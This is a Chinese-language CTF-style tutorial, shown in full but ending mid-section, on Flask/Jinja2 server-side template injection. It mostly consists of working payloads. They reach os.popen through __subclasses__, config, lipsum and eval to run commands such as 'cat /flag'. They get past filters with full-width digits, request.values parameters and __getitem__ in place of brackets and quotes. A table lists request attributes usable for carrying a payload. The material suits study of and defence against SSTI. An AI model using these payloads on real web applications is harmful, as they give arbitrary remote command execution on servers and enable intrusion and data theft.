SSTI 模板注入漏洞实战:从基础到绕过技巧
基础回顾
在深入具体题目之前,先简单回顾一下 SSTI(服务端模板注入)的基础原理。以 Flask/Jinja2 为例,核心在于利用模板引擎的特性执行任意代码。如果之前的题目已经熟悉,可以直接跳过;若对 __class__.__bases__ 等路径查找不熟悉,建议先补全基础知识。后续挑战均建立在此之上。
数字过滤绕过
当输入被限制只能使用特定数字(如 1 和 7),而我们需要访问索引 132 时,可以使用全角字符进行绕过。Windows 输入法或设置中可切换至全角模式。
Payload 示例:
?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
注意将数字替换为全角形式 132。
此外,利用 config 对象可以简化路径查找:
?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
另一种更简洁的方式是利用全局变量(如 lipsum 或 url_for)直接获取 __builtins__:
?name={{ lipsum.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()') }}
这种方法比传统的 __subclasses__ 路径更短,且能绕过部分针对类名的过滤。
引号过滤绕过
若单双引号被过滤,可利用 request 对象将参数移至 URL 中,避免在模板内硬编码字符串。
常用属性对比:
| 属性 | 作用 | 绕过场景 |
|---|---|---|
request.args | GET 请求参数 | args 被过滤时可用 values |
request.values | GET 和 POST 所有参数 | 最常用,替代 args |
request.cookies | Cookie 中的值 | 当参数也被过滤时 |
request.headers | HTTP 头 | 终极备选 |
构造 Payload 时,将敏感字符串通过参数传递:
?name={{ config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read() }}&a=os&b=cat /flag
复杂过滤应对
过滤中括号与引号
当 [] 和引号同时受限,可使用 __getitem__() 方法替代索引操作:
?name={{ config.__class__.__init__.__globals__.__getitem__(request.values.a).popen(request.values.b).read() }}&a=os&b=cat /flag
或者结合 eval 函数:


